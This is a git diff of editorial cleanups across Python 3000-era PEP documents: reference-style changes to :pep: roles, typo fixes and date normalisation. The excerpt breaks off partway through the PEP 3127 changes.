@@ -813,13 +813,13 @@ older system. References ========== -.. [1] Python Library Reference - String formating operations +.. [1] Python Library Reference - String formatting operations http://docs.python.org/library/stdtypes.html#string-formatting-operations .. [2] Python Library References - Template strings http://docs.python.org/library/string.html#string.Template -.. [3] [Python-3000] String formating operations in python 3k +.. [3] [Python-3000] String formatting operations in python 3k https://mail.python.org/pipermail/python-3000/2006-April/000285.html .. [4] Composite Formatting - [.Net Framework Developer's Guide] diff --git a/pep-3102.txt b/pep-3102.txt index 03df2a6127e..85fb8d98d3c 100644 --- a/pep-3102.txt +++ b/pep-3102.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 22-Apr-2006 Python-Version: 3.0 -Post-History: 28-Apr-2006, May-19-2006 +Post-History: 28-Apr-2006, 19-May-2006 Abstract diff --git a/pep-3103.txt b/pep-3103.txt index 400cfd66efc..7db213db87f 100644 --- a/pep-3103.txt +++ b/pep-3103.txt @@ -27,7 +27,7 @@ the smorgasbord of proposals, discussing alternatives and explaining my choices where I can. I'll also indicate how strongly I feel about alternatives I discuss. -This PEP should be seen as an alternative to PEP 275. My views are +This PEP should be seen as an alternative to :pep:`275`. My views are somewhat different from that PEP's author, but I'm grateful for the work done in that PEP. @@ -90,7 +90,7 @@ Semantics are discussed in the next top-level section. Alternative 1 ------------- -This is the preferred form in PEP 275:: +This is the preferred form in :pep:`275`:: switch EXPR: case EXPR: @@ -322,7 +322,7 @@ We need to further separate school I into school Ia and school Ib: - School Ib has a more complex position: it agrees with school II that optimization is important, and is willing to concede the compiler - certain liberties to allow this. (For example, PEP 275 Solution 1.) + certain liberties to allow this. (For example, :pep:`275` Solution 1.) In particular, hash() of the switch and case expressions may or may not be called (so it should be side-effect-free); and the case expressions may not be evaluated each time as expected by the diff --git a/pep-3104.txt b/pep-3104.txt index 8abcd4c038e..b88ec8febf5 100644 --- a/pep-3104.txt +++ b/pep-3104.txt @@ -53,7 +53,7 @@ different contexts. Here's an example:: print factorial(5) Python 2.1 moved closer to static nested scoping by making visible -the names bound in all enclosing scopes (see PEP 227). This change +the names bound in all enclosing scopes (see :pep:`227`). This change makes the above code example work as expected. However, because any assignment to a name implicitly declares that name to be local, it is impossible to rebind a name in an outer scope (except when a @@ -119,15 +119,15 @@ much strength, practical flexibility, and pedagogical power from its support and graceful integration of multiple programming paradigms. A proposal for scoping syntax appeared on Python-Dev as far back as -1994 [1]_, long before PEP 227's support for nested scopes was +1994 [1]_, long before :pep:`227`'s support for nested scopes was adopted. At the time, Guido's response was: This is dangerously close to introducing CSNS [classic static nested scopes]. *If* you were to do so, your proposed semantics - of scoped seem allright. I still think there is not enough need + of scoped seem alright. I still think there is not enough need for CSNS to warrant this kind of construct ... -After PEP 227, the "outer name rebinding discussion" has reappeared +After :pep:`227`, the "outer name rebinding discussion" has reappeared on Python-Dev enough times that it has become a familiar event, having recurred in its present form since at least 2003 [2]_. Although none of the language changes proposed in these discussions @@ -251,9 +251,10 @@ in an outer scope when using the variable in an expression. One syntax that has been suggested for this is ``.x`` [7]_, which would refer to ``x`` without creating a local binding for it. A concern with this proposal is that in many contexts ``x`` and ``.x`` could -be used interchangeably, which would confuse the reader. A closely -related idea is to use multiple dots to specify the number of scope -levels to ascend [8]_, but most consider this too error-prone [17]_. +be used interchangeably, which would confuse the reader [31]_. A +closely related idea is to use multiple dots to specify the number +of scope levels to ascend [8]_, but most consider this too error-prone +[17]_. Rebinding Operator '''''''''''''''''' @@ -264,7 +265,7 @@ statement ``x = 3`` both declares ``x`` a local variable and binds it to 3, the statement ``x := 3`` would change the existing binding of ``x`` without declaring it local. -This is a simple solution, but according to PEP 3099 it has been +This is a simple solution, but according to :pep:`3099` it has been rejected (perhaps because it would be too easy to miss or to confuse with ``=``). @@ -440,7 +441,7 @@ References ========== .. [1] Scoping (was Re: Lambda binding solved?) (Rafael Bracho) - http://www.python.org/search/hypermail/python-1994q1/0301.html + https://legacy.python.org/search/hypermail/python-1994q1/0301.html .. [2] Extended Function syntax (Just van Rossum) https://mail.python.org/pipermail/python-dev/2003-February/032764.html @@ -528,6 +529,9 @@ References .. [30] Whatever happened to 'nonlocal x = y'? (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2018-January/151627.html + +.. [31] Using and binding relative names (Almann T. Goo) + https://mail.python.org/pipermail/python-dev/2006-February/061761.html Acknowledgements diff --git a/pep-3107.txt b/pep-3107.txt index 2e4ffafa681..d29554ab6cf 100644 --- a/pep-3107.txt +++ b/pep-3107.txt @@ -25,7 +25,7 @@ Rationale Because Python's 2.x series lacks a standard way of annotating a function's parameters and return values, a variety of tools and libraries have appeared to fill this gap. Some -utilise the decorators introduced in "PEP 318", while others parse a +utilise the decorators introduced in :pep:`318`, while others parse a function's docstring, looking for annotations there. This PEP aims to provide a single, standard way of specifying this @@ -225,8 +225,8 @@ to support annotations. Relation to Other PEPs ====================== -Function Signature Objects [#pep-362]_ --------------------------------------- +Function Signature Objects (PEP 362) +------------------------------------ Function Signature Objects should expose the function's annotations. The ``Parameter`` object may change or other changes may be warranted. @@ -304,9 +304,6 @@ References and Footnotes .. [#lambda] https://mail.python.org/pipermail/python-3000/2006-May/001613.html -.. [#pep-362] - http://www.python.org/dev/peps/pep-0362/ - .. [#interop0] https://mail.python.org/pipermail/python-3000/2006-August/002895.html diff --git a/pep-3108.txt b/pep-3108.txt index 547b7d6b1e1..02d913067c1 100644 --- a/pep-3108.txt +++ b/pep-3108.txt @@ -26,7 +26,7 @@ inception that not all modules follow. Python 3.0 presents a chance to remove modules that do not have long term usefulness. This chance also allows for the renaming of -modules so that they follow the Python style guide [#pep-0008]_. This +modules so that they follow the :pep:`Python style guide <8>`. This PEP lists modules that should not be included in Python 3.0 or which need to be renamed. @@ -58,9 +58,9 @@ period. Previously deprecated [done] ---------------------------- -PEP 4 lists all modules that have been deprecated in the stdlib -[#pep-0004]_. The specified motivations mirror those listed in -PEP 4. All modules listed +:pep:`4` lists all modules that have been deprecated in the stdlib. +The specified motivations mirror those listed in +:pep:`4`. All modules listed in the PEP at the time of the first alpha release of Python 3.0 will be removed. @@ -544,7 +544,7 @@ for what the module is meant for. * commands [done] - + subprocess module replaces it [#pep-0324]_. + + subprocess module replaces it (:pep:`324`). + Remove getstatus(), move rest to subprocess. * compiler [done] @@ -595,7 +595,7 @@ for what the module is meant for. * popen2 [done] - + subprocess module replaces it [#pep-0324]_. + + subprocess module replaces it (:pep:`324`). * sgmllib [done] @@ -667,7 +667,7 @@ Modules to Rename ================= Many modules existed in -the stdlib before PEP 8 came into existence [#pep-0008]_. This has +the stdlib before :pep:`8` came into existence. This has led to some naming inconsistencies and namespace bloat that should be addressed. @@ -675,10 +675,10 @@ addressed. PEP 8 violations [done] ------------------------ -PEP 8 specifies that modules "should have short, all-lowercase names" -where "underscores can be used ... if it improves readability" -[#pep-0008]_. The use of underscores is discouraged in package names. -The following modules violate PEP 8 and are not somehow being renamed +:pep:`8` specifies that modules "should have short, all-lowercase names" +where "underscores can be used ... if it improves readability". +The use of underscores is discouraged in package names. +The following modules violate :pep:`8` and are not somehow being renamed by being moved to a package. ================== ================================================== @@ -1032,10 +1032,10 @@ Open Issues Renaming of modules maintained outside of the stdlib ---------------------------------------------------- -xml.etree.ElementTree not only does not meet PEP 8 naming standards -but it also has an exposed C implementation [#pep-0008]_. It is an -externally maintained package, though [#pep-0360]_. A request will be -made for the maintainer to change the name so that it matches PEP 8 +xml.etree.ElementTree not only does not meet :pep:`8` naming standards +but it also has an exposed C implementation. It is an +externally maintained package, though :pep:`360`. A request will be +made for the maintainer to change the name so that it matches :pep:`8` and hides the C implementation. @@ -1128,18 +1128,6 @@ been chosen as the guiding force for PEPs to create. References ========== -.. [#pep-0004] PEP 4: Deprecation of Standard Modules - (http://www.python.org/dev/peps/pep-0004/) - -.. [#pep-0008] PEP 8: Style Guide for Python Code - (http://www.python.org/dev/peps/pep-0008/) - -.. [#pep-0324] PEP 324: subprocess -- New process module - (http://www.python.org/dev/peps/pep-0324/) - -.. [#pep-0360] PEP 360: Externally Maintained Packages - (http://www.python.org/dev/peps/pep-0360/) - .. [#module-index] Python Documentation: Global Module Index (http://docs.python.org/modindex.html) diff --git a/pep-3109.txt b/pep-3109.txt index ac8872506b1..53fb911c1dc 100644 --- a/pep-3109.txt +++ b/pep-3109.txt @@ -22,8 +22,8 @@ language. Rationale ========= -One of Python's guiding maxims is "there should be one -- and -preferably only one -- obvious way to do it" [#zen]_. Python 2.x's +One of Python's guiding maxims is :pep:`"there should be one -- and +preferably only one -- obvious way to do it" <20>`. Python 2.x's ``raise`` statement violates this principle, permitting multiple ways of expressing the same thought. For example, these statements are equivalent: :: @@ -37,7 +37,7 @@ tracebacks to be attached to an exception [#grammar]_: :: raise E, V, T -where T is a traceback. As specified in PEP 344 [#pep344]_, +where T is a traceback. As specified in :pep:`344`, exception objects in Python 3.x will possess a ``__traceback__`` attribute, admitting this translation of the three-expression ``raise`` statement: :: @@ -59,7 +59,7 @@ four forms to two: 2. ``raise EXCEPTION`` is used to raise a new exception. This form has two sub-variants: ``EXCEPTION`` may be an exception class or an instance of an exception class; valid exception classes are - BaseException and its subclasses [#pep352]_. If ``EXCEPTION`` + BaseException and its subclasses (:pep:`352`). If ``EXCEPTION`` is a subclass, it will be called with no arguments to obtain an exception instance. @@ -99,8 +99,8 @@ Changes to Builtin Types Because of its relation to exception raising, the signature for the ``throw()`` method on generator objects will change, dropping the -optional second and third parameters. The signature thus changes -from [#throw-sig]_ :: +optional second and third parameters. The signature thus changes (:pep:`342`) +from :: generator.throw(E, [V, [T]]) @@ -232,7 +232,7 @@ The following translations will be performed: raise CompileError from msg Using the ``raise ... from ...`` syntax introduced in - PEP 344. + :pep:`344`. Implementation @@ -244,21 +244,9 @@ This PEP was implemented in revision 57783 [#r57783]_. References ========== -.. [#zen] - http://www.python.org/dev/peps/pep-0020/ - .. [#grammar] http://docs.python.org/reference/simple_stmts.html#raise -.. [#throw-sig] - http://www.python.org/dev/peps/pep-0342/ - -.. [#pep344] - http://www.python.org/dev/peps/pep-0344/ - -.. [#pep352] - http://www.python.org/dev/peps/pep-0352/ - .. [#amk-line-noise] https://mail.python.org/pipermail/python-dev/2005-August/055187.html diff --git a/pep-3110.txt b/pep-3110.txt index fe8361cdb3b..6129e51a682 100644 --- a/pep-3110.txt +++ b/pep-3110.txt @@ -41,7 +41,7 @@ Rationale except (, ): -2. As specified in PEP 352 [#pep352]_, the ability to treat exceptions +2. As specified in :pep:`352`, the ability to treat exceptions as tuples will be removed, meaning this code will no longer work :: except os.error, (errno, errstr): @@ -49,7 +49,7 @@ Rationale Because the automatic unpacking will no longer be possible, it is desirable to remove the ability to use tuples as ``except`` targets. -3. As specified in PEP 344 [#pep344]_, exception instances in Python 3 +3. As specified in :pep:`344`, exception instances in Python 3 will possess a ``__traceback__`` attribute. The Open Issues section of that PEP includes a paragraph on garbage collection difficulties caused by this attribute, namely a "exception -> traceback -> @@ -59,13 +59,13 @@ Rationale Python 3 whereby the target name is deleted at the end of the ``except`` suite. -4. In the spirit of "there should be one -- and preferably only one - -- obvious way to do it" [#zen]_, it is desirable to consolidate +4. In the spirit of :pep:`"there should be one -- and preferably only one + -- obvious way to do it" <20>`, it is desirable to consolidate duplicate functionality. To this end, the ``exc_value``, ``exc_type`` and ``exc_traceback`` attributes of the ``sys`` module [#sys-module]_ will be removed in favor of ``sys.exc_info()``, which provides the same information. These - attributes are already listed in PEP 3100 [#pep3100]_ as targeted + attributes are already listed in :pep:`3100` as targeted for removal. @@ -94,7 +94,7 @@ to ``NAME`` means that only valid identifiers can be used as ``except`` targets. Note that the grammar above always requires parenthesized tuples as -exception clases. That way, the ambiguous :: +exception classes. That way, the ambiguous :: except A, B: @@ -105,7 +105,7 @@ hard-to-catch bugs -- cannot legally occur in 3.x code. Semantic Changes ================ -In order to resolve the garbage collection issue related to PEP 344, +In order to resolve the garbage collection issue related to :pep:`344`, ``except`` statements in Python 3 will generate additional bytecode to delete the target, thus eliminating the reference cycle. The source-to-source translation, as suggested by Phillip J. Eby @@ -219,7 +219,7 @@ Replacing or Dropping "sys.exc_info()" The idea of dropping ``sys.exc_info()`` or replacing it with a ``sys.exception`` attribute or a ``sys.get_exception()`` function has been raised several times on python-3000 ([#drop-excinfo]_, -[#replace-excinfo]_) and mentioned in PEP 344's "Open Issues" section. +[#replace-excinfo]_) and mentioned in :pep:`344`'s "Open Issues" section. While a ``2to3`` fixer to replace calls to ``sys.exc_info()`` and some attribute accesses would be trivial, it would be far more @@ -240,21 +240,9 @@ implemented in revision 55446 [#r55446]_. References ========== -.. [#pep352] - http://www.python.org/dev/peps/pep-0352/ - -.. [#zen] - http://www.python.org/dev/peps/pep-0020/ - .. [#sys-module] http://docs.python.org/library/sys.html -.. [#pep3100] - http://www.python.org/dev/peps/pep-3100/ - -.. [#pep344] - http://www.python.org/dev/peps/pep-0344/ - .. [#firstproposal] https://mail.python.org/pipermail/python-dev/2006-March/062449.html diff --git a/pep-3111.txt b/pep-3111.txt index 4b9ab7d335d..947014ee967 100644 --- a/pep-3111.txt +++ b/pep-3111.txt @@ -2,7 +2,7 @@ PEP: 3111 Title: Simple input built-in in Python 3000 Version: $Revision$ Last-Modified: $Date$ -Author: Andre Roberge +Author: Andre Roberge Status: Final Type: Standards Track Content-Type: text/x-rst @@ -20,7 +20,8 @@ and two simple means of interactive input through the input() and raw_input() built-in functions. Python 3.0 will introduce various incompatible changes with previous -Python versions\ [1]_. Among the proposed changes, print will become a built-in +Python versions (:pep:`3100`). +Among the proposed changes, print will become a built-in function, print(), while input() and raw_input() would be removed completely from the built-in namespace, requiring importing some module to provide even the most basic input capability. @@ -42,7 +43,8 @@ and to obtain information from the user (interactive input). Any computer language intended to be used in an educational setting should provide straightforward methods for both output and interactive input. -The current proposals for Python 3.0 [1]_ include a simple output pathway +The :pep:`current proposals for Python 3.0 <3100>` +include a simple output pathway via a built-in function named print(), but a more complicated method for input [e.g. via sys.stdin.readline()], one that requires importing an external module. Current versions of Python (pre-3.0) include raw_input() as a @@ -139,9 +141,6 @@ The rationale for accepting the renaming can be found here [4]_. References ========== -.. [1] PEP 3100, Miscellaneous Python 3.0 Plans, Kuchling, Cannon - http://www.python.org/dev/peps/pep-3100/ - .. [2] The fate of raw_input() in Python 3000 https://mail.python.org/pipermail/edu-sig/2006-September/006967.html diff --git a/pep-3112.txt b/pep-3112.txt index 7c51b59497f..584d31a3e1b 100644 --- a/pep-3112.txt +++ b/pep-3112.txt @@ -16,7 +16,7 @@ Abstract ======== This PEP proposes a literal syntax for the ``bytes`` objects -introduced in PEP 358. The purpose is to provide a convenient way to +introduced in :pep:`358`. The purpose is to provide a convenient way to spell ASCII strings and arbitrary binary data. diff --git a/pep-3113.txt b/pep-3113.txt index 689b2202098..45a48d70cbb 100644 --- a/pep-3113.txt +++ b/pep-3113.txt @@ -111,13 +111,13 @@ When looking at the various types of parameters that a Python function can have, one will notice that tuple parameters tend to be an exception rather than the rule. -Consider PEP 3102 (keyword-only arguments) and PEP 3107 (function -annotations) [#pep-3102]_ [#pep-3107]_. Both PEPs have been accepted and +Consider :pep:`3102` (keyword-only arguments) and :pep:`3107` (function +annotations). Both PEPs have been accepted and introduce new functionality within a function's signature. And yet for both PEPs the new feature cannot be applied to tuple parameters as -a whole. PEP 3102 has no support for tuple parameters at all (which +a whole. :pep:`3102` has no support for tuple parameters at all (which makes sense as there is no way to reference a tuple parameter by -name). PEP 3107 allows annotations for each item within the tuple +name). :pep:`3107` allows annotations for each item within the tuple (e.g., ``(x:int, y:int)``), but not the whole tuple (e.g., ``(x, y):int``). @@ -260,12 +260,6 @@ References .. [#MSIL] Microsoft Intermediate Language (http://msdn.microsoft.com/library/en-us/cpguide/html/cpconmicrosoftintermediatelanguagemsil.asp?frame=true) -.. [#pep-3102] PEP 3102 (Keyword-Only Arguments) - (http://www.python.org/dev/peps/pep-3102/) - -.. [#pep-3107] PEP 3107 (Function Annotations) - (http://www.python.org/dev/peps/pep-3107/) - Copyright ========= diff --git a/pep-3114.txt b/pep-3114.txt index d34527b1ae3..9380784fb5c 100644 --- a/pep-3114.txt +++ b/pep-3114.txt @@ -116,7 +116,7 @@ Previous Proposals This proposal is not a new idea. The idea proposed here was supported by the BDFL on python-dev [1]_ and is even mentioned in the original -iterator PEP, PEP 234:: +iterator PEP, :pep:`234`:: (In retrospect, it might have been better to go for __next__() and have a new built-in, next(it), which calls it.__next__(). diff --git a/pep-3115.txt b/pep-3115.txt index 1820ca41af8..6ba27d6ad95 100644 --- a/pep-3115.txt +++ b/pep-3115.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 07-Mar-2007 Python-Version: 3.0 -Post-History: 11-March-2007, 14-March-2007 +Post-History: 11-Mar-2007, 14-Mar-2007 Abstract @@ -140,7 +140,7 @@ there may be one or more keyword arguments, one of which can be *metaclass*. Note that the *metaclass* argument is not included in *kwargs*, since it is filtered out by the normal parameter assignment algorithm. (Note also that *metaclass* is a keyword- -only argument as per PEP 3102 [6]_.) +only argument as per :pep:`3102`.) Even though ``__prepare__`` is not required, the default metaclass ('type') implements it, for the convenience of subclasses calling @@ -309,12 +309,6 @@ References .. [4] [Python-3000] Metaclasses in Py3K (Always use an ordered dict) https://mail.python.org/pipermail/python-3000/2006-December/005118.html -.. [5] PEP 359: The 'make' statement - - http://www.python.org/dev/peps/pep-0359/ - -.. [6] PEP 3102: Keyword-only arguments - - http://www.python.org/dev/peps/pep-3102/ - Copyright ========= diff --git a/pep-3116.txt b/pep-3116.txt index 62c0d05b59a..1e69c3c582c 100644 --- a/pep-3116.txt +++ b/pep-3116.txt @@ -304,7 +304,7 @@ the cookie returned from ``.tell()``. ``TextIOBase`` implementations also provide several methods that are -pass-throughs to the underlaying ``BufferedIOBase`` objects: +pass-throughs to the underlying ``BufferedIOBase`` objects: ``.flush() -> None`` diff --git a/pep-3117.txt b/pep-3117.txt index 738effa6057..1ce3241c809 100644 --- a/pep-3117.txt +++ b/pep-3117.txt @@ -44,7 +44,7 @@ future-embracing: the introduction of Unicode characters as an integral constituent of source code. Unicode makes it possible to express much more with much less characters, which -is in accordance with the Zen ("Readability counts.") [ZEN]_. Additionally, it +is in accordance with the :pep:`Zen <20>` ("Readability counts."). Additionally, it eliminates the need for a separate type declaration statement, and last but not least, it makes Python measure up to Perl 6, which already uses Unicode for its operators. [#]_ @@ -205,8 +205,6 @@ References .. [#] Though, if you know the language in question, it may not be *that* unrelated. -.. [ZEN] http://www.python.org/dev/peps/pep-0020/ - .. [#] Well, it would, if there was a Perl 6. .. [#] Since the name ``TypeError`` is already in use, this name has been chosen diff --git a/pep-3118.txt b/pep-3118.txt index 74b56c4d0e5..b8d5f7cf749 100644 --- a/pep-3118.txt +++ b/pep-3118.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 28-Aug-2006 -Python-Version: 3000 +Python-Version: 3.0 Post-History: Abstract diff --git a/pep-3119.txt b/pep-3119.txt index 16be3cf348a..11221b0302b 100644 --- a/pep-3119.txt +++ b/pep-3119.txt @@ -30,7 +30,7 @@ specific mechanism of ABCs, as contrasted with Interfaces or Generic Functions (GFs), but about clarifying philosophical issues like "what makes a set", "what makes a mapping" and "what makes a sequence". -There's also a companion PEP 3141, which defines ABCs for numeric +There's also a companion :pep:`3141`, which defines ABCs for numeric types. @@ -115,7 +115,7 @@ documentation for the ABC. These standard semantic definitions are not enforced, but are strongly recommended. Like all other things in Python, these promises are in the nature of a -gentlemen's agreement, which in this case means that while the +friendly agreement, which in this case means that while the language does enforce some of the promises made in the ABC, it is up to the implementer of the concrete class to insure that the remaining ones are kept. @@ -139,7 +139,7 @@ The specification follows the categories listed in the abstract: Overloading ``isinstance()`` and ``issubclass()`` ------------------------------------------------- -During the development of this PEP and of its companion, PEP 3141, we +During the development of this PEP and of its companion, :pep:`3141`, we repeatedly faced the choice between standardizing more, fine-grained ABCs or fewer, coarse-grained ones. For example, at one stage, PEP 3141 introduced the following stack of base classes used for complex @@ -153,16 +153,16 @@ MutableComposableSet, HashableComposableSet. The dilemma here is that we'd rather have fewer ABCs, but then what should a user do who needs a less refined ABC? Consider e.g. the -plight of a mathematician who wants to define his own kind of +plight of a mathematician who wants to define their own kind of Transcendental numbers, but also wants float and int to be considered -Transcendental. PEP 3141 originally proposed to patch float.__bases__ +Transcendental. :pep:`3141` originally proposed to patch float.__bases__ for that purpose, but there are some good reasons to keep the built-in types immutable (for one, they are shared between all Python interpreters running in the same address space, as is used by mod_python [16]_). Another example would be someone who wants to define a generic -function (PEP 3124) for any sequence that has an ``append()`` method. +function (:pep:`3124`) for any sequence that has an ``append()`` method. The ``Sequence`` ABC (see below) doesn't promise the ``append()`` method, while ``MutableSequence`` requires not only ``append()`` but also various other mutating methods. @@ -431,7 +431,7 @@ partial ordering). But this cannot be the case: If both ``list`` and ``str`` derived from ``Ordering``, this would imply that ``[1, 2] < (1, 2)`` should be defined (and presumably return False), while in fact (in Python 3000!) such "mixed-mode comparisons" operations are -explicitly forbidden and raise ``TypeError``. See PEP 3100 and [14]_ +explicitly forbidden and raise ``TypeError``. See :pep:`3100` and [14]_ for more information. (This is a special case of a more general issue with operations that take another argument of the same type). @@ -542,13 +542,13 @@ type ``frozenset`` derives from ``Set`` and ``Hashable``. those three classes is a set though! Sets have the additional invariant that each element occurs only once (as can be determined by iteration), and in addition sets define concrete operators that - implement the inequality operations as subclass/superclass tests. + implement the inequality operations as subset/superset tests. In general, the invariants for finite sets in mathematics hold. [11]_ Sets with different implementations can be compared safely, (usually) efficiently and correctly using the mathematical - definitions of the subclass/superclass operations for finite sets. + definitions of the subset/supeset operations for finite sets. The ordering operations have concrete implementations; subclasses may override these for speed but should maintain the semantics. Because ``Set`` derives from ``Sized``, ``__eq__`` may take a @@ -749,7 +749,7 @@ character strings (``str``), deriving from ``Sequence`` and **Open issues:** define the base interfaces for these so alternative implementations and subclasses know what they are in for. This may be -the subject of a new PEP or PEPs (PEP 358 should be co-opted for the +the subject of a new PEP or PEPs (:pep:`358` should be co-opted for the ``bytes`` type). diff --git a/pep-3120.txt b/pep-3120.txt index b9cd19e882c..1a9762b32da 100644 --- a/pep-3120.txt +++ b/pep-3120.txt @@ -15,7 +15,7 @@ Specification ============= This PEP proposes to change the default source encoding from ASCII to -UTF-8. Support for alternative source encodings [#pep263]_ continues to +UTF-8. Support for alternative source encodings (:pep:`263`) continues to exist; an explicit encoding declaration takes precedence over the default. @@ -38,7 +38,7 @@ character-by-character basis. As Unicode gives a fixed interpretation to code points, this algorithm effectively fixed a source encoding, at least for files containing non-ASCII characters in Unicode literals. -PEP 263 identified the problem that you can use only those Unicode +:pep:`263` identified the problem that you can use only those Unicode characters in a Unicode literal which are also in Latin-1, and introduced a syntax for declaring the source encoding. If no source encoding was given, the default should be ASCII. For compatibility @@ -50,10 +50,10 @@ encoding is declared. Rationale ========= -With PEP 263, using arbitrary non-ASCII characters in a Python file is +With :pep:`263`, using arbitrary non-ASCII characters in a Python file is possible, but tedious. One has to explicitly add an encoding declaration. Even though some editors (like IDLE and Emacs) support -the declarations of PEP 263, many editors still do not (and never +the declarations of :pep:`263`, many editors still do not (and never will); users have to explicitly adjust the encoding which the editor assumes on a file-by-file basis. @@ -82,14 +82,6 @@ as the parser converts all source code to UTF-8, anyway). IDLE needs to be changed to use UTF-8 as the default encoding. -References -========== - -.. [#pep263] - http://www.python.org/dev/peps/pep-0263/ - - - Copyright ========= diff --git a/pep-3122.txt b/pep-3122.txt index f799165fd25..5591104bd6b 100644 --- a/pep-3122.txt +++ b/pep-3122.txt @@ -17,7 +17,7 @@ Abstract ======== Because of how name resolution works for relative imports in a world -where PEP 328 is implemented, the ability to execute modules within a +where :pep:`328` is implemented, the ability to execute modules within a package ceases being possible. This failing stems from the fact that the module being executed as the "main" module replaces its ``__name__`` attribute with ``"__main__"`` instead of leaving it as @@ -31,17 +31,17 @@ module this will allow at least some instances of executing a module within a package that uses relative imports. This PEP does not address the idea of introducing a module-level -function that is automatically executed like PEP 299 proposes. +function that is automatically executed like :pep:`299` proposes. The Problem =========== -With the introduction of PEP 328, relative imports became dependent on +With the introduction of :pep:`328`, relative imports became dependent on the ``__name__`` attribute of the module performing the import. This is because the use of dots in a relative import are used to strip away parts of the calling module's name to calculate where in the package -hierarchy an import should fall (prior to PEP 328 relative +hierarchy an import should fall (prior to :pep:`328` relative imports could fail and would fall back on absolute imports which had a chance of succeeding). @@ -131,7 +131,7 @@ The stat calls alone can be expensive if the file system the executed script is on is something like NFS. Because of these issues, only when the ``-m`` command-line argument -(introduced by PEP 338) is used will ``__name__`` be set. Otherwise +(introduced by :pep:`338`) is used will ``__name__`` be set. Otherwise the fallback semantics of setting ``__name__`` to ``"__main__"`` will occur. ``sys.main`` will still be set to the proper value, regardless of what ``__name__`` is set to. diff --git a/pep-3124.txt b/pep-3124.txt index d8fad1ac0ec..a3500ba5c36 100644 --- a/pep-3124.txt +++ b/pep-3124.txt @@ -3,7 +3,7 @@ Title: Overloading, Generic Functions, Interfaces, and Adaptation Version: $Revision$ Last-Modified: $Date$ Author: Phillip J. Eby -Discussions-To: Python 3000 List +Discussions-To: python-3000@python.org Status: Deferred Type: Standards Track Content-Type: text/x-rst @@ -74,7 +74,7 @@ created by a third party. Therefore, this PEP proposes a standard library module to address these, and related issues, using decorators and argument annotations -(PEP 3107). The primary features to be provided are: +(:pep:`3107`). The primary features to be provided are: * a dynamic overloading facility, similar to the static overloading found in languages such as Java and C++, but including optional @@ -166,7 +166,7 @@ or this (to avoid copying the implementation):: from overloading import RuleSet RuleSet(flatten).copy_rules((basestring,), (MyString,)) -(Note also that, although PEP 3119 proposes that it should be possible +(Note also that, although :pep:`3119` proposes that it should be possible for abstract base classes like ``Iterable`` to allow classes like ``MyString`` to claim subclass-hood, such a claim is *global*, throughout the application. In contrast, adding a specific overload @@ -563,7 +563,7 @@ decorators could insert a custom metaclass to do processing of this sort. (This is how RuleDispatch, for example, implements the implicit class rule.) -PEP 3115, however, requires that a class' metaclass be determined +:pep:`3115`, however, requires that a class' metaclass be determined *before* the class body has executed, making it impossible to use this technique for class decoration any more. @@ -1014,7 +1014,7 @@ included in PEAK-Rules at the present time. The "implicit class rule" has previously been implemented in the RuleDispatch library. However, it relies on the ``__metaclass__`` -hook that is currently eliminated in PEP 3115. +hook that is currently eliminated in :pep:`3115`. I don't currently know how to make ``@overload`` play nicely with ``classmethod`` and ``staticmethod`` in class bodies. It's not really diff --git a/pep-3125.txt b/pep-3125.txt index 744de708cf3..9362bf81eee 100644 --- a/pep-3125.txt +++ b/pep-3125.txt @@ -219,14 +219,14 @@ References .. [#dedent] (email subject) PEP 30XZ: Simplified Parsing, van Rossum https://mail.python.org/pipermail/python-3000/2007-April/007063.html -.. [#lexical] (email subject) PEP-3125 -- remove backslash +.. [#lexical] (email subject) :pep:`3125` -- remove backslash continuation, Koenig https://mail.python.org/pipermail/python-3000/2007-May/007237.html .. [#snocone] The Snocone Programming Language, Koenig http://www.snobol4.com/report.htm -.. [#guidobughide] (email subject) PEP-3125 -- remove backslash +.. [#guidobughide] (email subject) :pep:`3125` -- remove backslash continuation, van Rossum https://mail.python.org/pipermail/python-3000/2007-May/007244.html diff --git a/pep-3126.txt b/pep-3126.txt index 9149dc86d25..bc993ce17f0 100644 --- a/pep-3126.txt +++ b/pep-3126.txt @@ -171,8 +171,8 @@ Operator Precedence Guido indicated [#rcn-constantfold]_ that this change should be handled by PEP, because there were a few edge cases with other string operators, such as the %. (Assuming that str % stays -- it may be -eliminated in favor of PEP 3101 -- Advanced String Formatting. -[#PEP3101]_ [#elimpercent]_) +eliminated in favor of :pep:`3101` -- Advanced String Formatting. +[#elimpercent]_) The resolution is to use parentheses to enforce precedence -- the same solution that can be used today:: @@ -352,9 +352,6 @@ References van Rossum https://mail.python.org/pipermail/python-3000/2007-April/006563.html -.. [#PEP3101] PEP 3101, Advanced String Formatting, Talin - http://www.python.org/dev/peps/pep-3101/ - .. [#elimpercent] ps to question Re: Need help completing ABC pep, van Rossum https://mail.python.org/pipermail/python-3000/2007-April/006737.html diff --git a/pep-3127.txt b/pep-3127.txt index 6c38e3ed8d1..ef840bea71e 100644 --- a/pep-3127.txt +++ b/pep-3127.txt @@ -3,7 +3,7 @@ Title: Integer Literal Support and Syntax Version: $Revision$ Last-Modified: $Date$ Author: Patrick Maupin -Discussions-To: Python-3000@python.org +Discussions-To: python-3000@python.org Status: Final Type: Standards Track Content-Type: text/x-rst @@ -80,7 +80,7 @@ as well as the grammar. The documentation will have to be changed as well: grammar.txt, as well as the integer literal section of the reference manual. -PEP 306 should be checked for other issues, and that PEP should +:pep:`306` should be checked for other issues, and that PEP should be updated if the procedure described therein is insufficient. int() specification @@ -133,7 +133,7 @@ option will need to be updated to add '0o' in front, instead of '0'. In 2.6, alternate octal formatting will continue to add only '0'. In neither 2.6 nor 3.0 will the % operator support binary output. This is because -binary output is already supported by PEP 3101 +binary output is already supported by :pep:`3101` (str.format), which is the preferred string formatting method. @@ -182,7 +182,7 @@ the string representation of integers relate to these features: * Under 2.6, long() is treated the same as int() - Formatting of integers into strings, either via the % string - operator or the new PEP 3101 advanced string formatting method. + operator or the new :pep:`3101` advanced string formatting method. It is presumed that: @@ -227,7 +227,7 @@ are confronted with non-decimal radices. However, in most situations, most people do not write gratuitous zeros in front of their decimal numbers. The primary exception is when an attempt is being made to line up columns of numbers. But -since PEP 8 specifically discourages the use of spaces to try to +since :pep:`8` specifically discourages the use of spaces to try to align Python code, one would suspect the same argument should apply to the use of leading zeros for the same purpose. @@ -239,13 +239,13 @@ Assume the rare complete newcomer to computing who *does*, either 